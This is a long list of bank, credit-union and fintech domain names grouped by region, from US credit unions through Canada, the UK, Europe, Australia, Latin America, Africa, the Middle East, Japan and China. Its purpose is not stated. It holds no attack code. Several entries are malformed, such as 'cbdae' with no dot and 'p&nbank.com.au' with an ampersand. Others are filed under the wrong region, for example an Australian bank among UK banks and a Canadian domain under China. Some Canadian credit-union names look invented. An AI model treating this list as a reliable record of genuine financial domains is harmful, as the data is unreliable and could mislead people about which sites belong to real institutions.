- parkbank.com
- parkstatebank.com
- patelco.org
- patelcocu.org
- pathfinder.com
- pathfinderbank.com
- patriotbank.com
- patriotbanknational.com
- peapack.com
- peapackgladstone.com
- peninsula.com
- peninsulabank.com
- peoplesbancorp.com
- peoplesbank.com
- peoplescommunitybank.com
- perennialbancorp.com
- piedmont.com
- piedmontbank.com
- pinnacle-bank.com
- pinnaclebank.com
- planters.com
- plattsburgbank.com
- plymouthbank.com
- plymouthfinancial.com
- pnb.com.ph
- pnbindia.in
- polaris.bank
- polarisbank.com
- popular.com
- popular.com.do
- popularbank.com
- popularbankpr.com
- portlandbank.com
- portlandsavings.com
- pothatch.com
- potlatchno1.com
- premiercu.org
- primealliance.com
- primebank.com
- primeway.com
- primewaycu.org
- primisbank.com
- princetonsavings.com
- prioritycommerce.com
- progressivebancorp.com
- progressivebank.com
- prosperitybank.com
- prosperitybanktexas.com
- providentbank.com
- providentnj.com
- publicbank.com
- purebankusa.com
- pyramidbank.com
- quadcitybank.com
- questbank.com
- rbankonline.com
- rbc.com
- rbc.com.cy
- redbud.com
- redwoodbank.com
- regalbank.com
- regentbank.com
- regioncu.org
- renasant.com
- renasantbank.com
- republic.com
- republicbank.com
- republicfirst.com
- republicfirstbank.com
- reverebank.com
- ridgewoodsavings.com
- riverbank.com
- riverbankfinancial.com
- riverbendbank.com
- riverfed.org
- riverviewbank.com
- rivierbank.com
- rmbprivatebank.com
- roanokecommunity.com
- robinsonbank.com
- rocketbank.com
- rocklandtrust.com
- rockvillebank.com
- rockyfordbank.com
- rollstonbank.com
- romeobank.com
- rourbanks.com
- royalbancorp.com
- royalbank.com
- ruralbancorp.com
- ruralbank.com
- sagebank.com
- sagehillbank.com
- saginawvalleybank.com
- salemfive.com
- salemfivebank.com
- sandyspring.com
- sandyspringbank.com
- saratogabank.com
- saratogasavings.com
- savingsbank.com
- savingsfinancialgroup.com
- schoolsfirst.org
- seacoastbank.com
- searsbank.com
- seattlebank.com
- securitybank.com
- securitybankusa.com
- selco.com
- selcocommunity.org
- signature.bank
- signaturebank.com
- signatureny.com
- silvergate.bank
- silvergate.com
- silvergatebank.com
- silverton.com
- simplicitysavings.com
- siouxvalleybank.com
- sonomabank.com
- sonomavalleybank.com
- southcoast.com
- southcu.org
- southernbank.com
- southernbankcorp.com
- southernmissouribank.com
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- umcu.org
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- unitedfederalcu.org
- unitedheritagecreditunion.org
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- unitycu.org
- universalcu.org
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- ymcu.org
- yorktowncu.org
- youngstowncu.org
- yspcu.org
- yubacu.org
- yukoncu.org
- zephyrcu.org
- zioncu.org

## Canada banks and CU

- accesscu.ca
- achievacu.ca
- albertacentral.com
- alternabank.ca
- assantefinancial.ca
- atbfinancial.com
- atlanticccu.ca
- bankofcanada.ca
- bcucanada.ca
- blueshore.ca
- blueshorefinancial.ca
- bmo.ca
- bmobank.ca
- bmoinvestorline.com
- bmonesbitt.com
- bridgewaterbank.ca
- caissecentrale.com
- caissedepopulaire.ca
- caissedesjardins.ca
- caissefi.com
- caissepop.com
- caisses.com
- caissesd.com
- cambrian.mb.ca
- canadianwestern.com
- canadianwesternbank.com
- ccua.ca
- chinookcu.ca
- cibc.ca
- cibcbank.ca
- cibcwoodgundy.com
- coastcapital.com
- coastcapitalsavings.com
- coinsquare.com
- commonwealthcu.ca
- communitybank.ca
- conexus.ca
- conexuscu.ca
- cooperators.ca
- creditunion.ca
- cucbc.ca
- cucbc.com
- cucentral.ca
- cwb.ca
- cwbgroup.com
- desjardins.com
- desjardinsgroup.com
- eastwestbank.com
- easyfinancial.ca
- envisionfinancial.ca
- eqbank.ca
- fairstone.ca
- firstwest.ca
- firstwestcu.ca
- frontiercu.ca
- gwcu.ca
- halifaxcu.ca
- heartlandcu.ca
- hsbcbank.ca
- igfinancial.ca
- igwealth.ca
- innovationcu.ca
- insurancebureau.ca
- investorsgroup.ca
- koho.ca
- kohofinancial.ca
- lackey.ca
- lakesidecu.ca
- lakeviewcreditunion.ca
- lakeviewcu.ca
- laurelroad.com
- laurentianbank.ca
- lcucanada.ca
- legacycu.ca
- lendingclub.com
- libertycu.ca
- mainstreetcreditunion.ca
- mainstreetcu.ca
- mansfieldcu.ca
- manulife.ca
- manulifebank.ca
- mcucanada.ca
- memberscu.ca
- membersfirst.org
- meridian.ca
- meridian.com
- meridiancu.ca
- mosaiccu.ca
- motusbank.ca
- nationalbank.ca
- nbc.ca
- nbcommunitybank.com
- ndax.io
- newton.co
- northerncu.ca
- norwestcu.ca
- novascotiacu.ca
- nwcu.org
- ontariocu.ca
- opecu.ca
- outreachcu.ca
- pcbank.ca
- pcfinancial.ca
- pcku.org
- pcu.ca
- pcu.com.au
- peocu.ca
- peoplefirstcu.ca
- progresivecu.ca
- prosperacu.ca
- questrade.com
- quinsamcu.ca
- rbc.ca
- rbcbank.ca
- rbcroyalbank.com
- rmhcu.ca
- saskcentral.com
- scotiabank.ca
- scotiabankbank.ca
- scotiamcleod.com
- servuscu.ca
- shakepay.com
- sharecu.ca
- sharescu.ca
- sharesfinancial.ca
- simplii.com
- siskcu.ca
- springfinancial.ca
- steinbachcu.ca
- stmaryscu.ca
- suissebank.ca
- sunlife.ca
- sunlifebank.ca
- sunshinecreditunion.ca
- syndicatecu.ca
- tangerine.ca
- tcu.ca
- tcucanada.ca
- td.ca
- td.com
- tdcanadatrust.ca
- tdcanadatrust.com
- tdsecurities.com
- telpay.ca
- telpayfinancial.ca
- tncu.ca
- tpccu.ca
- tpscu.ca
- transversalcu.ca
- trilliumcu.ca
- twocreditunions.ca
- ubcu.ca
- uccu.ca
- ucu.ca
- ucucanada.ca
- ulcu.ca
- umcu.ca
- unitedfinancialcu.ca
- upccu.ca
- upcreditunion.ca
- upcu.ca
- utilitycu.ca
- utilityfcu.ca
- uvcu.ca
- uwcu.ca
- vacucu.ca
- valleycu.ca
- valpoiscu.ca
- valucu.ca
- vancity.com
- vancu.ca
- vanicucu.ca
- vanitecu.ca
- vantelcu.ca
- variancecu.ca
- varsitycu.ca
- vaultcu.ca
- vccu.ca
- verizoncu.ca
- vermontfcu.ca
- vermonttcu.ca
- vernalcu.ca
- wealthone.ca
- wealthsimple.com
- westlockcu.ca
- windsorcu.ca
- yvcu.ca

## UK banks

- aegon.co.uk
- ajbell.co.uk
- aldermore.co.uk
- anna.money
- arbuthnot.co.uk
- atom.bank
- atombank.co.uk
- bankofscotland.co.uk
- bankofscotlandhbos.co.uk
- barclaycard.co.uk
- barclays.com
- beanapp.co.uk
- birminghamcreditunion.co.uk
- bristolcreditunion.co.uk
- buildingsociety.co.uk
- capitalcreditunion.co.uk
- cashplus.co.uk
- cater-allen.co.uk
- caterallen.co.uk
- charterhouse.co.uk
- charteroak.com
- chase.co.uk
- chip.co.uk
- chorleybs.co.uk
- clearbank.com
- cleo.ai
- clydesdale.co.uk
- co-operativebank.co.uk
- coconut.so
- coconutapp.co.uk
- conto.co.uk
- countingup.com
- coutts.com
- coventry.co.uk
- coventrybs.co.uk
- coventrycu.co.uk
- creditladder.co.uk
- crezco.com
- currencycloud.com
- ecologybs.co.uk
- edinburghcreditunion.co.uk
- emma-app.com
- firstdirect.com
- fleximize.com
- forthvalleycreditunion.co.uk
- freetrade.io
- fundingcircle.com
- furnessbs.co.uk
- glasgowcreditunion.co.uk
- griffin.com
- griffinbank.com
- halifax.co.uk
- halifaxsavings.co.uk
- hampdenandco.com
- hargreaveslansdown.co.uk
- highlandscreditunion.co.uk
- hinckley-rugby.co.uk
- hinkley-and-rugby.co.uk
- horizoncreditunion.co.uk
- hsbc.co.uk
- ipswichbs.co.uk
- iwoca.co.uk
- kbs.co.uk
- lancashirecreditunion.co.uk
- lbs.co.uk
- leedsbuildingsociety.co.uk
- legalandgeneral.co.uk
- liberis.co.uk
- lloyds.com
- lloydsbank.com
- lloydsbankgroup.com
- lombard.co.uk
- lombard.com.mt
- lombardbank.com
- londonmutual.org
- loughboroughbs.co.uk
- manchestercreditunion.co.uk
- mansfieldbs.co.uk
- marketharboroughbs.co.uk
- marsdenbs.co.uk
- mbna.co.uk
- mbs.co.uk
- melton-mowbray-bs.co.uk
- meltonbs.co.uk
- merseysidecreditunion.co.uk
- metrobank.co.uk
- metrobankonline.co.uk
- metrobankplc.com
- mhbs.co.uk
- mmbs.co.uk
- moneydashboard.com
- moneyfarm.com
- monzo.com
- nationwide.co.uk
- nationwide.com
- nationwideboard.co.uk
- natwest.com
- natwestgroup.com
- nestpensions.org.uk
- newcastlebs.co.uk
- newcastlebuildingsociety.co.uk
- newcastlecreditunion.co.uk
- nexuscreditunion.co.uk
- north-ampton.co.uk
- northamptonshirecu.co.uk
- norwich-and-peterborough.co.uk
- norwich.co.uk
- nottinghambs.co.uk
- nottinghamcreditunion.co.uk
- notts.co.uk
- npbs.co.uk
- nutmeg.com
- oaknorth.co.uk
- onesavingsbank.co.uk
- openbanking.org.uk
- openfinance.uk
- oxfordcreditunion.co.uk
- paragonbank.co.uk
- penrith.co.uk
- penrithbs.co.uk
- pensionbee.com
- plum.io
- policecreditunion.co.uk
- principality.co.uk
- progressivebs.co.uk
- railwaycreditunion.co.uk
- ratesetter.com
- rbs.co.uk
- recognise.bank
- revolut.com
- saffronbs.co.uk
- santander.co.uk
- santanderuk.com
- scotiabank.co.uk
- scottishbs.co.uk
- scottishwidows.co.uk
- scotwest.co.uk
- shawbrook.co.uk
- sheffieldcu.co.uk
- skipton.co.uk
- smartpension.co.uk
- smile.co.uk
- snoop.app
- starling.com
- starlingbank.com
- strathclydecreditunion.co.uk
- suffolkcreditunion.co.uk
- swansea.co.uk
- swanseabs.co.uk
- tandem.co.uk
- teacherbs.co.uk
- teachercreditunion.co.uk
- teachersbs.co.uk
- theteachers.co.uk
- tide.co
- tipton-bs.co.uk
- tipton.co.uk
- towerhamletscreditunion.co.uk
- transportcreditunion.co.uk
- truelayer.co.uk
- truelayer.com
- tsb.co.uk
- ulsterbank.co.uk
- unisoncreditunion.co.uk
- unitecreditunion.co.uk
- universitycreditunion.co.uk
- valleycreditunion.co.uk
- versabank.co.uk
- versabanku.co.uk
- virginmoney.co.uk
- virginmoney.com
- weatherbys.co.uk
- westbrom.co.uk
- westbromwich.co.uk
- westernmortgages.co.uk
- westernprogressive.co.uk
- westpac.com.au
- yolt.com
- yorkshire.co.uk
- yorkshirebank.co.uk
- yorkshirebs.co.uk
- yorkshirecreditunion.co.uk
- zopa.com

## EU banks

- auxmoney.com
- bank-austria.at
- bawag.com
- bcge.ch
- bcn.ch
- bcvs.ch
- bekb.ch
- berliner-bank.de
- berliner-volksbank.de
- berlinervolksbank.de
- billie.io
- bkb.ch
- cantonal.ch
- comdirect.de
- commerzbank.de
- credit-suisse.com
- deutschebank.de
- dkb.de
- dornbirner-sparkasse.at
- dukascopy.com
- erstebank.at
- fidor.de
- finom.co
- flatex.at
- fyrst.de
- getmoss.com
- giropay.de
- glsbank.de
- grazerbank.at
- hamburgervolksbank.de
- holvi.com
- hyp.at
- hypovereinsbank.de
- ing.de
- klarna.de
- klarpay.com
- kontist.com
- lgt.com
- lombard-odier.com
- merkurbank.de
- mhb.de
- migros-bank.ch
- mondu.com
- moss.de
- muenchener-bank.de
- n26.com
- nbank.at
- neon-bank.com
- neon-free.ch
- norisbank.de
- paylater.de
- penta.de
- pictet.com
- pictet.lu
- postbank.de
- postfinance.ch
- psd-bank.de
- qonto.de
- raiffeisen.at
- raiffeisen.ch
- ratepay.com
- sarasin.ch
- skatbank.de
- smava.de
- sparda-bank.de
- sparkasse.de
- swisslife.fr
- swissquote.ch
- swissquote.lu
- swissre.com
- targobank.de
- tomorrow.one
- triodosbank.de
- ubs.com
- umweltbank.de
- volksbank.at
- volksbank.de
- volkswagenbank.de
- vontobel.com
- yuh.com
- zak.ch

## EU - France, Belgium, Luxembourg

- anytime.fr
- argenta.be
- axabanque.fr
- bancontact.be
- bancontact.com
- bankingcircle.com
- banquepopulaire.fr
- bdl.lu
- belfius.be
- beobank.be
- bilbank.lu
- bnpparibas.be
- bnpparibas.com
- bnpparibas.fr
- bnpparibas.lu
- bnpparibas.pl
- boursobank.com
- boursorama.com
- bpostbank.be
- caisse-epargne-bretagne.fr
- caisse-epargne.fr
- caissedepargne.fr
- cofidis.fr
- credit-cooperatif.coop
- credit.fr
- creditagricole.fr
- creditmutuel.fr
- crelan.be
- defacto.fr
- finfrog.fr
- fintro.be
- floa.bank
- fortuneo.fr
- green-got.fr
- groupebpce.fr
- hellobank.fr
- ing.be
- kbc.be
- labanquepostale.fr
- lcl.fr
- leetchi.com
- lydia.app
- maaf.fr
- mangopay.com
- mma.fr
- monabanq.com
- nagelmackers.be
- oddo-bhf.com
- papaya.eu
- payconiq.be
- paylib.fr
- qonto.com
- shine.fr
- societegenerale.com
- triodos.be
- younited-credit.com
- younited.eu

## EU - Netherlands & Nordics

- abnamro.nl
- afterpay.nl
- aktia.fi
- alandsbanken.fi
- asnbank.nl
- avanza.se
- berg.no
- bigbank.fi
- bigbank.se
- bnext.eu
- bunq.com
- danskebank.com
- dnb.nl
- dnb.no
- dnb.se
- genome.eu
- gjensidige.no
- handelsbanken.no
- handelsbanken.se
- ikanobanken.se
- ing.nl
- instabank.no
- jyskebank.dk
- klarna.at
- klarna.co.uk
- klarna.com
- klarna.nl
- klarna.se
- klarnabank.com
- knab.nl
- marginalen.se
- mobilepay.dk
- mobilepay.fi
- mollie.com
- multisafepay.com
- multisafepay.nl
- nok.no
- nordea.dk
- nordea.fi
- nordea.no
- nordea.se
- nordnet.se
- nykredit.dk
- op.fi
- openbank.nl
- paytrail.fi
- pop-pankki.fi
- rabobank.nl
- regiobank.nl
- ringkjoebinglandbobank.dk
- s-pankki.fi
- saastopankki.fi
- sandnesbank.no
- seb.se
- siirto.fi
- skandiabanken.se
- snsbank.nl
- spar-nord.dk
- sparebank.no
- sparebanken-sor.no
- sparebanken-vest.no
- storebrand.no
- swedbank.se
- swish.nu
- swish.se
- sydbank.com
- sydbank.dk
- triodos.nl
- vestjyskebank.dk
- vipps.dk
- vipps.no

## EU - Spain, Portugal & Italy

- activobank.pt
- bancobpm.it
- bancoposta.it
- bancsabadell.com
- bankia.es
- bankinter.com
- bbva.com
- bper.it
- buddybank.com
- caixabank.com
- cajamar.es
- cajasur.es
- cgd.pt
- compasba.it
- credem.it
- credito-agricola.pt
- creditoagricola.pt
- directa.it
- finecobank.com
- flowe.com
- hype.it
- illimity.com
- intesasanpaolo.com
- kutxabank.es
- lacaixa.es
- linea-directa.com
- mapfre.com
- mapfre.es
- mediobanca.it
- millenniumbcp.pt
- moey.pt
- mps.it
- myinvestor.es
- nexi.it
- novobanco.pt
- openbank.es
- postepay.it
- santander.com
- santander.pt
- satispay.com
- scalapay.com
- scalapay.it
- selfbank.es
- soisy.it
- tinaba.it
- unicajabancos.com
- unicredit.it
- wizink.es

## EU - Eastern Europe

- airbank.cz
- alior.pl
- aliorbank.pl
- alpha.gr
- atticabank.gr
- banca-transilvania.ro
- bankpekao.pl
- bb.hu
- bcr.ro
- berlinerbank.hu
- bgz.pl
- blik.pl
- btbank.ro
- cib.hu
- cibbank.hu
- creditas.cz
- csas.cz
- csob.cz
- dotpay.eu
- dotpay.pl
- equabank.cz
- erste.hu
- eservice.pl
- eurobank.gr
- eximbank.ro
- fio.cz
- garanti.ro
- getin.pl
- getinnoblebank.pl
- gpay.pl
- hotpay.pl
- ingbank.pl
- ipko.pl
- kb.cz
- libra-bank.ro
- mbank.cz
- mbank.pl
- milleniumbank.pl
- mkb.hu
- moje.pl
- moneta.cz
- nbg.gr
- neobank.gr
- nest.bank
- nestbank.pl
- otp.hu
- otpbank.hu
- patria-bank.ro
- paybylink.pl
- paypro.pl
- pekao.pl
- piraeusbank.gr
- pko.pl
- pkobp.pl
- przelewy24.com
- przelewy24.pl
- raiffeisen.hu
- raiffeisen.ro
- raiffeisenbank.cz
- santander.pl
- takarekbank.hu
- transferuj.pl
- twisto.cz

## EU - Ireland & Other

- aib.ie
- anpost.ie
- avantcard.ie
- bankofireland.com
- circl.com
- flender.ie
- kbc.ie
- kbcbank.ie
- linkedfinance.com
- microfinanceireland.ie
- permanenttsb.ie
- ulsterbank.ie

## AU/NZ - Banks & Finance

- 86400.com.au
- adelaidebank.com.au
- anz.com.au
- anzsecurities.com.au
- australianunity.com.au
- bankaustralia.com.au
- bankofmelbourne.com.au
- bankofus.com.au
- banksa.com.au
- bankwest.com.au
- bendigoadelaide.com.au
- bendigobank.com.au
- beyond.com.au
- beyondbank.com.au
- boq.com.au
- boqspecialist.com.au
- bt.com.au
- btfinancial.com.au
- capify.com.au
- citibank.com.au
- colonialfirststate.com.au
- commbank.com.au
- commsec.com.au
- defencebank.com.au
- educationcu.com.au
- eway.com.au
- ezidebit.com.au
- fatzebra.com
- firefighterscu.com.au
- gatewaybank.com.au
- gecu.com.au
- harmoney.com.au
- hcf.com.au
- hume.com.au
- ing.com.au
- latitudefinancial.com.au
- limepay.com.au
- lumi.com.au
- macquarie.com.au
- macquariebank.com.au
- mcu.com.au
- mebank.com.au
- medibank.com.au
- moneyme.com.au
- moomoo.com
- moula.com.au
- mutualbank.com.au
- mystate.com.au
- nab.com.au
- nabtrade.com.au
- netbank.com.au
- newcastlepermanent.com.au
- nib.com.au
- oasiscreditunion.com.au
- openpay.com.au
- p&nbank.com.au
- pacificcreditunion.com.au
- paydock.com
- payright.com.au
- paywayau.com.au
- pin.net.au
- pocketbook.com.au
- policecreditunion.com.au
- prospa.com
- queenslandcountry.bank
- queenslandcu.com.au
- queenslandteachers.com.au
- rabobank.com.au
- railwayscreditunion.com.au
- regionalaustraliabank.com.au
- ruralbank.com.au
- securepay.com.au
- selectcreditunion.com.au
- skycreditunion.com.au
- southerncreditunion.com.au
- st-george.com.au
- stgeorge.com.au
- summerland.com.au
- suncorp.com.au
- suncorpbank.com.au
- teachersmutualbank.com.au
- transportcreditunion.com.au
- tyro.com
- tyrobank.com.au
- ubank.com.au
- unibank.com.au
- upbank.com.au
- vistacreditunion.com.au
- westpac.com.au
- wisr.com.au
- xinja.com.au
- yellowcreditunion.com.au
- youcu.com.au
- yourcu.com.au
- zip.co

## LATAM - Banks & Fintech

- actinver.com
- addi.com
- adiq.com.br
- albo.mx
- asaas.com.br
- atlantida.hn
- atlántida.hn
- aztecabank.com
- bac.hn
- bac.net
- bam.com.gt
- banadesa.hn
- banamex.com
- banbif.com
- banbif.com.pe
- bancamazonas.com.co
- bancamazonia.com
- bancamediterranée.com.lb
- bancamia.com.co
- banco-atlantida.com.hn
- banco-sol.com.bo
- banco.bogota.co
- bancoagrario.gov.co
- bancoantillano.com.do
- bancobcr.fi.cr
- bancobogota.com
- bancochile.cl
- bancodecrédito.cl
- bancodelpacifico.com
- bancodobrasil.com.br
- bancoestado.cl
- bancoeurolatinoamericano.com
- bancofalabella.cl
- bancointer.com.br
- bancointernacional.cl
- bancolombia.com
- bancolopez.com.do
- bancomer.com
- bancomercantil.com
- banconacional.cr
- banconal.com.pa
- bancopacifico.com.hn
- bancopanama.com.pa
- bancoripley.cl
- bancosantander.cl
- bancounion.bo
- bancrocredito.com.cr
- banhcafe.com.hn
- banorte.com
- banortegroup.com
- banpro.com.ni
- banregio.com
- banreservas.com.do
- banrisul.com.br
- bb.com.br
- bbpanama.com
- bbva.com.co
- bbva.com.mx
- bbva.pe
- bcac.fi.cr
- bccr.fi.cr
- bci.cl
- bcp.com.pe
- bcp.com.py
- bcp.pe
- bcpbank.com
- bhdleon.com.do
- bladex.com
- bladexpanama.com
- bmsc.com.bo
- bnb.com.bo
- bncr.fi.cr
- bom-credito.com.br
- bradesco.com
- bradesco.com.br
- btgpactual.com
- c6bank.com.br
- caixa.gov.br
- cfn.fin.ec
- cielo.com.br
- clearinvest.com.br
- clip.mx
- cmrfalabella.com.pe
- compartamos.com.mx
- conekta.com
- consubanco.com.mx
- continental.com.py
- crediscotia.com.pe
- creditas.com.br
- cuentamovil.com
- daviplata.com
- davivienda.com
- dcash.ec
- easynvest.com.br
- ebanx.com
- edigitaldollar.ec
- epayco.co
- fassil.com.bo
- ficohsa.com
- fondeadora.mx
- frubana.com
- g&t.com
- ganadero.bo
- gerencianet.com.br
- getnet.cl
- getnet.com.br
- globalbank.com.pa
- gnbsudameris.com.co
- guayaquil.fin.ec
- gyt.com.gt
- helios.do
- inbursa.com
- industrialbank.com.gt
- inter.co
- inter.com.br
- interbank.pe
- itau.cl
- itau.com.br
- itau.com.co
- itau.com.py
- iugu.com.br
- ixe.com.mx
- izipay.com
- izipay.com.pe
- juno.com.br
- klar.mx
- kondinero.com.mx
- kushki.com
- lafise.com
- meliuz.com.br
- mercadolibre.com
- mercadopago.com
- mercadopago.com.br
- mercadopago.com.mx
- mibanco.com.pe
- modalmais.com.br
- multibank.com.pa
- multibankgroup.com
- multicaja.cl
- mundipagg.com.br
- nequi.com
- nu.com.mx
- nubank.com
- nubank.com.br
- nubank.mx
- original.com.br
- originalbank.com.br
- pagbank.com
- pagbank.com.br
- pago-digital.pe
- pagoefectivo.pe
- pagofacil.com.ar
- pagseguro.com.br
- pagseguro.uol.com.br
- payu.com
- payulatam.com
- payvalida.com
- pichincha.com.ec
- placetopay.com
- produbanco.com.ec
- quisqueya.com
- rapipago.com
- rappi.com
- rebel.com.br
- rede.com.br
- rico.com.vc
- santander.cl
- santander.com.br
- scotiabank.cl
- scotiabank.com.co
- scotiabank.com.mx
- scotiabank.com.pe
- scotiabank.pe
- sicoob.com.br
- sicredi.com.br
- spin.mx
- stone.co
- stonepagamentos.com.br
- stori.mx
- sudameris.com.py
- toro.com.br
- transbank.cl
- vindi.com.br
- vision.com.py
- wompi.com
- xcorporation.com
- xpi.com.br
- yappy.com.pa

## AFRICA - Banks & Mobile Money

- 9mobile.com.ng
- abcghana.com
- abcsabank.co.ke
- absa.co.za
- absa.com
- access.bank
- accessbank.co.za
- accessbank.com.gh
- accessbankplc.com
- accessnationalbank.com
- accesspaysuite.com
- africabank.co.za
- africaexpress.com
- africamoneyexpress.com
- africasentinel.com
- africashremit.com
- africredits.com
- afrimoney.com
- afriqpay.com
- airtel.bank
- airtel.com
- airtelmoney.com
- airtelmoney.com.gh
- airtelmoneymalawi.com
- airtelng.com
- anchor.com.ng
- bamboo.africa
- bankly.ng
- bankzero.co.za
- bidvestbank.co.za
- branch.app
- branch.com
- calbank.net
- capitec.com
- capitecbank.co.za
- carbon.ng
- cbbbank.com.gh
- cbe.com.et
- cbzbank.com
- cellulant.com
- cellulantpay.com
- cfc.co.ke
- chipper.com
- chippercash.com
- cic.co.ke
- cleva.com
- cooperative.co.ke
- coralpayfintechng.com
- cowrywise.com
- creditbank.co.ke
- dashen.com.et
- dojah.io
- dtbbank.com
- dtbkenya.co.ke
- ecobank.co.ke
- ecobank.com
- ecobank.com.gh
- ecocash.com
- equitybank.co.ke
- ethswitch.et
- ewallet.co.za
- expresspay.com.gh
- eyowo.com
- f4b.africa
- familybank.co.ke
- fbnbank.com
- fidelitybank.com.gh
- fidelitybank.ng
- financebank.co.zm
- firstbankng.com
- firstbanknigeria.com
- flutterwave.com
- fnb.co.za
- fnb.com
- fnbmalawi.com
- fnbsa.co.za
- gcb.com.gh
- glo.ng
- gotv.com
- gozem.com
- grindrodbank.co.za
- gtbank.com
- gtbpay.com
- gtmobiletek.com
- gtpay.com
- guaranty.com.gh
- guarantytrust.bank
- hellocash.et
- hormuud.com
- iftin.com
- imbank.co.ke
- innbucks.com
- interswitch.com
- interswitchgroup.com
- investec.co.za
- ipay.co.ke
- kcb.co.ke
- kopokopo.com
- korba.ng
- kuda.com
- kudabank.com
- kwik.cash
- lenco.co
- m-birr.com
- mobibank.com.gh
- mobile.mtn.com.gh
- mobilemoney.mtn.com.gh
- moniepoint.com
- mono.co
- mpesa.co.ke
- mpesa.com
- mpesaglobal.com
- mtn.com
- mtnmomo.com
- muamalat.com.my
- nala.money
- nationalbankkenya.co.ke
- nationalmedia.co.ke
- nbk.co.ke
- ncb.com
- nedbank.co.za
- nedbank.com
- nib.com.et
- nomba.com
- oibm.mw
- okra.ng
- opay.com
- opay.ng
- orda.africa
- oromia.com.et
- palmpay.com
- palmpay.ng
- pawapay.com
- pawapayments.com
- pawaremit.com
- paystack.com
- paystack.com.gh
- payswitch.com.gh
- pesalink.co.ke
- pesapal.com
- piggyvest.com
- providusbank.com
- providuspay.com
- prudentialbank.com.gh
- republic.com.gh
- risevest.com
- rubies.bank
- safaricom.co.ke
- safaricom.com
- safaricompay.com
- seerbit.com
- sidianbank.com
- sierraLeoneremit.com
- sierralioneremit.com
- slydepay.com
- sobibank.com
- societe-generale.com.gh
- sparkle.africa
- stanbicbank.co.za
- stanbicbank.com
- stanbicbank.com.gh
- stanbicibtcbank.com
- stanbickenya.com
- standardbank.co.za
- standardbank.com
- standardbank.com.zm
- startimes.com.ng
- sudo.africa
- telebirr.et
- telecash.co.zw
- tigo.com.gh
- tingg.co.ke
- tingg.com
- tnmmpamba.com
- tymebank.co.za
- uba.com
- ubagroup.com
- ubghana.com
- unionbankng.com
- vba.com.ng
- vfd.bank
- vodacom.com
- vodafone.cash.com.gh
- vpay.com.ng
- vpay.ng
- wema.bank
- wizzit.co.za
- zanaco.co.zm
- zazipay.com
- zeepay.com
- zeepaygh.com
- zenithbank.com
- zenithbank.com.gh
- zipit.co.zw

## MIDDLE EAST - Banks & Exchange

- aaib.com
- aaib.com.eg
- adcb.com
- adib.ae
- ahlibank.jo
- ajmanbank.ae
- akbank.com.tr
- aktifbank.com.tr
- al-ansari.com
- al-fardan.com
- albarakatuerk.com.tr
- albilad.com.sa
- alexbank.com
- alfardan.com
- alfardanexchange.com
- alhawala.com
- alinma.com
- alinma.com.sa
- almashriq.net
- alrajhi.com
- alrajhibank.com.sa
- anadolubank.com.tr
- anb.com.sa
- anssarbank.ir
- arabbank.com
- arabbank.jo
- arabianexchange.com
- arabnatbank.com.sa
- bankalbilad.com.sa
- bankmed.com.lb
- bankmelat.com
- bankofbahrain.com
- bankofbeirut.com
- bankofjo.com.jo
- bankpositive.com.tr
- banksaderat.ir
- banque-saudi-fransi.com.sa
- banquecairo.com
- banquemisr.com
- bfcbahrain.com
- bkb.com.tr
- blom.com
- blombank.com
- bmiiran.com
- bsfinance.com.sa
- burganbank.com.tr
- capitalbank.jo
- cbd.ae
- cbdae
- cib.com.eg
- citibank.jo
- creditlibanais.com
- currencyhouse.ae
- denim.ae
- denizbank.com.tr
- dib.ae
- eghtesadnovin.com
- emiratesexchange.com
- enbd.com
- fab.ae
- fastexchange.ae
- fawry.com
- fibabanka.com.tr
- financecorp.ae
- financecu.ae
- financialhouse.ae
- finans.com.tr
- finansbank.com.tr
- fransabank.com
- garanti.com.tr
- geidea.net
- halkbank.com.tr
- hawala.net
- hawalatransfer.com
- hawalatrust.com
- ingbank.com.tr
- investbank.ae
- investbank.jo
- isikbank.com.tr
- karafarin.ir
- khaleejiexchange.com
- kuveytturk.com.tr
- madfu.com
- mashreq.com
- moneybridge.ae
- moneycorp.ae
- moneyhouse.ae
- moneyhub.com
- moneymaster.ae
- moyasar.com
- national.ae
- nationalbank.ae
- nbe.com.eg
- nbf.ae
- ncb.com.sa
- neoexchange.ae
- odeabank.com.tr
- optimar.com.tr
- pasargadbank.ir
- postalbank.ir
- qnb.com.eg
- qnbalahli.com
- qnbfinansbank.com.tr
- rak.ae
- rakbank.com
- riyad.com.sa
- riyadbank.com
- riyadbank.com.sa
- roshdbankiran.com
- saudifransi.com.sa
- sekerbank.com.tr
- sharjahislamic.com
- snb.com.sa
- stcbank.com
- tabby.ai
- tamara.co
- teb.com.tr
- tejarat.ir
- transactional.ae
- vakifbank.com.tr
- yapi.com.tr
- yapikredi.com.tr
- ziraatbank.com.tr

## ASIA - Japan

- aeonbank.co.jp
- aozora.co.jp
- aozorabank.co.jp
- au-jibun.bank
- aubank.co.jp
- bizmobility.co.jp
- bytedancepay.com
- chugin.co.jp
- chugoku.co.jp
- docomo.jp
- eighteightytwobank.co.jp
- eztransfer.jp
- familymartbank.co.jp
- fukuoka-fg.co.jp
- gmo-remittance.com
- hachijuni.co.jp
- hokkaidobank.co.jp
- hokubank.co.jp
- hyakujushi.co.jp
- ionbank.co.jp
- iyobank.co.jp
- japannetbank.co.jp
- japannetbank.com
- japanpost.jp
- japanpostbank.co.jp
- japanpostsavings.jp
- japanremit.com
- jibunbank.co.jp
- jibunbank.com
- jpr.jp
- kachibank.co.jp
- kddi.com
- kinabank.co.jp
- kinki-osaka.co.jp
- kyotobank.co.jp
- lawsonbank.co.jp
- mitsubishi-ufj.co.jp
- mizuho-fg.co.jp
- mizuho-sc.com
- mizuhobank.co.jp
- mizuhosecurities.co.jp
- moneyforwardbank.co.jp
- moneytransfer.jp
- mufg.jp
- mufjbank.co.jp
- nokkyobank.co.jp
- nttdocomo.com
- paidy.com
- payease.co.jp
- paypay.ne.jp
- quickpay.co.jp
- rakutenbank.co.jp
- rakutensec.co.jp
- resona-gr.co.jp
- resonabank.co.jp
- sagawa.co.jp
- saitobank.co.jp
- sbibank.co.jp
- sbisecurities.co.jp
- sevenbank.co.jp
- seventeenbank.co.jp
- shibuyabank.co.jp
- shinsei.co.jp
- shinseibank.com
- smbc-remittance.com
- smbc.co.jp
- smbcgroup.com
- softbank.com
- softbank.jp
- sumitomo.co.jp
- sumitomomiitsui.com
- sumitomomitsui.co.jp
- tokyobank.co.jp
- tokyostarbank.co.jp
- tosabank.co.jp
- yokohamabank.co.jp
- yucho.co.jp
- yuchobank.co.jp
- zengin.co.jp
- zennoubank.co.jp

## ASIA - China

- abchina.com
- alipay.com
- baiduwallet.com
- bankcomm.com
- bankofcanada.com
- bankofchina.com
- bankoftaiwan.com.tw
- bob.com.cn
- boc.ca
- bocom.com.cn
